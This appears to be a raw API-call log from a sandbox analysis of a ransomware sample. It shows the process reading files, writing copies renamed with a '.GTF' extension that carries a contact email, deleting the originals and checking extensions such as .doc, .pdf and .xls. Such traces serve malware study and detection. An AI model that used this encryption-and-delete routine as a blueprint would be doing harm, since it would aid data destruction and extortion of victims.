	[0068.808] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.808] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=894) returned 1
	[0068.808] CloseHandle (hObject=0x360) returned 1
	[0068.808] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80
	[0068.808] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.809] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.809] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.809] GetLastError () returned 0x0
	[0068.809] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0069.180] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x380, lpOverlapped=0x0) returned 1
	[0069.181] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.181] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1
	[0069.181] SetEndOfFile (hFile=0x364) returned 1
	[0069.181] CloseHandle (hObject=0x364) returned 1
	[0069.183] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.183] SetEndOfFile (hFile=0x360) returned 1
	[0069.183] CloseHandle (hObject=0x360) returned 1
	[0069.184] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0069.184] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1
	[0069.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.184] lstrlenW (lpString=".doc") returned 4
	[0069.184] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.184] lstrlenW (lpString=".docx") returned 5
	[0069.184] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0069.184] lstrlenW (lpString=".pdf") returned 4
	[0069.184] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.184] lstrlenW (lpString=".xls") returned 4
	[0069.184] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.184] lstrlenW (lpString=".xlsx") returned 5
	[0069.185] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0069.185] lstrlenW (lpString=".ppt") returned 4
	[0069.185] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.185] lstrlenW (lpString=".zip") returned 4
	[0069.185] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.185] lstrlenW (lpString=".rar") returned 4
	[0069.185] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.185] lstrlenW (lpString=".bz2") returned 4
	[0069.185] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.185] lstrlenW (lpString=".7z") returned 3
	[0069.185] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.185] lstrlenW (lpString=".dbf") returned 4
	[0069.185] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.185] lstrlenW (lpString=".1cd") returned 4
	[0069.185] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.185] lstrlenW (lpString=".jpg") returned 4
	[0069.185] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.185] lstrlenW (lpString=".doc") returned 4
	[0069.185] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.185] lstrlenW (lpString=".docx") returned 5
	[0069.185] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0069.185] lstrlenW (lpString=".pdf") returned 4
	[0069.185] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.185] lstrlenW (lpString=".xls") returned 4
	[0069.185] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.185] lstrlenW (lpString=".xlsx") returned 5
	[0069.185] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0069.185] lstrlenW (lpString=".ppt") returned 4
	[0069.185] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.186] lstrlenW (lpString=".zip") returned 4
	[0069.186] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.186] lstrlenW (lpString=".rar") returned 4
	[0069.186] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.186] lstrlenW (lpString=".bz2") returned 4
	[0069.186] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.186] lstrlenW (lpString=".7z") returned 3
	[0069.186] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.186] lstrlenW (lpString=".dbf") returned 4
	[0069.186] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.186] lstrlenW (lpString=".1cd") returned 4
	[0069.186] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0069.186] lstrlenW (lpString=".jpg") returned 4
	[0069.186] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.186] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0069.186] lstrlenW (lpString="SysReqNotMet.ico") returned 16
	[0069.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0069.839] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1150) returned 1
	[0069.840] CloseHandle (hObject=0x36c) returned 1
	[0069.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80
	[0069.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0069.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0069.840] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.840] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.850] GetLastError () returned 0x0
	[0069.850] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0070.513] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x480, lpOverlapped=0x0) returned 1
	[0070.514] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.514] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0070.515] SetEndOfFile (hFile=0x364) returned 1
	[0070.515] CloseHandle (hObject=0x364) returned 1
	[0070.516] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.516] SetEndOfFile (hFile=0x36c) returned 1
	[0070.522] CloseHandle (hObject=0x36c) returned 1
	[0070.522] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0070.522] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1
	[0070.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.523] lstrlenW (lpString=".doc") returned 4
	[0070.523] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0070.523] lstrlenW (lpString=".docx") returned 5
	[0070.523] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0070.523] lstrlenW (lpString=".pdf") returned 4
	[0070.523] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0070.523] lstrlenW (lpString=".xls") returned 4
	[0070.523] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0070.523] lstrlenW (lpString=".xlsx") returned 5
	[0070.523] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0070.523] lstrlenW (lpString=".ppt") returned 4
	[0070.523] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0070.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.523] lstrlenW (lpString=".zip") returned 4
	[0070.523] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0070.523] lstrlenW (lpString=".rar") returned 4
	[0070.523] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0070.523] lstrlenW (lpString=".bz2") returned 4
	[0070.523] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0070.523] lstrlenW (lpString=".7z") returned 3
	[0070.523] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0070.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.523] lstrlenW (lpString=".dbf") returned 4
	[0070.523] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0070.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.523] lstrlenW (lpString=".1cd") returned 4
	[0070.524] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0070.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.524] lstrlenW (lpString=".jpg") returned 4
	[0070.524] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0070.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.524] lstrlenW (lpString=".doc") returned 4
	[0070.524] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0070.524] lstrlenW (lpString=".docx") returned 5
	[0070.524] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0070.524] lstrlenW (lpString=".pdf") returned 4
	[0070.524] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0070.524] lstrlenW (lpString=".xls") returned 4
	[0070.524] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0070.524] lstrlenW (lpString=".xlsx") returned 5
	[0070.524] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0070.524] lstrlenW (lpString=".ppt") returned 4
	[0070.524] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0070.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.524] lstrlenW (lpString=".zip") returned 4
	[0070.524] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0070.524] lstrlenW (lpString=".rar") returned 4
	[0070.524] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0070.524] lstrlenW (lpString=".bz2") returned 4
	[0070.524] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0070.524] lstrlenW (lpString=".7z") returned 3
	[0070.524] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0070.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.524] lstrlenW (lpString=".dbf") returned 4
	[0070.524] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0070.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.551] lstrlenW (lpString=".1cd") returned 4
	[0070.551] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0070.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0070.551] lstrlenW (lpString=".jpg") returned 4
	[0070.551] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0070.551] lstrcmpiW (lpString1=".msi", lpString2=".GTF") returned 1
	[0070.551] lstrlenW (lpString="netfx_Core_x86.msi") returned 18
	[0070.551] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0070.612] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1163264) returned 1
	[0070.612] CloseHandle (hObject=0x36c) returned 1
	[0070.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80
	[0070.613] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0070.613] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.613] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0070.614] GetLastError () returned 0x0
	[0070.614] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0070.772] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0070.791] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x1c010, lpOverlapped=0x0) returned 1
	[0071.285] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x1c020, lpOverlapped=0x0) returned 1
	[0071.290] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.290] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.291] SetEndOfFile (hFile=0x35c) returned 1
	[0071.291] CloseHandle (hObject=0x35c) returned 1
	[0071.673] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.673] SetEndOfFile (hFile=0x36c) returned 1
	[0071.675] CloseHandle (hObject=0x36c) returned 1
	[0071.675] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0071.675] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1
	[0071.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.675] lstrlenW (lpString=".doc") returned 4
	[0071.675] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0071.675] lstrlenW (lpString=".docx") returned 5
	[0071.675] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0071.676] lstrlenW (lpString=".pdf") returned 4
	[0071.676] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0071.676] lstrlenW (lpString=".xls") returned 4
	[0071.676] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0071.676] lstrlenW (lpString=".xlsx") returned 5
	[0071.676] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0071.676] lstrlenW (lpString=".ppt") returned 4
	[0071.676] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0071.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.676] lstrlenW (lpString=".zip") returned 4
	[0071.676] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0071.676] lstrlenW (lpString=".rar") returned 4
	[0071.676] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0071.676] lstrlenW (lpString=".bz2") returned 4
	[0071.676] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0071.676] lstrlenW (lpString=".7z") returned 3
	[0071.676] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0071.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.676] lstrlenW (lpString=".dbf") returned 4
	[0071.676] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0071.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.676] lstrlenW (lpString=".1cd") returned 4
	[0071.676] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0071.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.676] lstrlenW (lpString=".jpg") returned 4
	[0071.676] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0071.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.676] lstrlenW (lpString=".doc") returned 4
	[0071.676] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0071.676] lstrlenW (lpString=".docx") returned 5
	[0071.676] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0071.676] lstrlenW (lpString=".pdf") returned 4
	[0071.676] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0071.676] lstrlenW (lpString=".xls") returned 4
	[0071.676] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0071.676] lstrlenW (lpString=".xlsx") returned 5
	[0071.677] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0071.677] lstrlenW (lpString=".ppt") returned 4
	[0071.677] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0071.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.677] lstrlenW (lpString=".zip") returned 4
	[0071.677] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0071.677] lstrlenW (lpString=".rar") returned 4
	[0071.677] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0071.677] lstrlenW (lpString=".bz2") returned 4
	[0071.677] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0071.677] lstrlenW (lpString=".7z") returned 3
	[0071.677] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0071.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.677] lstrlenW (lpString=".dbf") returned 4
	[0071.677] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0071.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.677] lstrlenW (lpString=".1cd") returned 4
	[0071.677] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0071.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0071.677] lstrlenW (lpString=".jpg") returned 4
	[0071.677] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0071.677] lstrcmpiW (lpString1=".msi", lpString2=".GTF") returned 1
	[0071.677] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22
	[0071.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0071.679] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=872448) returned 1
	[0071.679] CloseHandle (hObject=0x36c) returned 1
	[0071.679] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80
	[0071.679] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
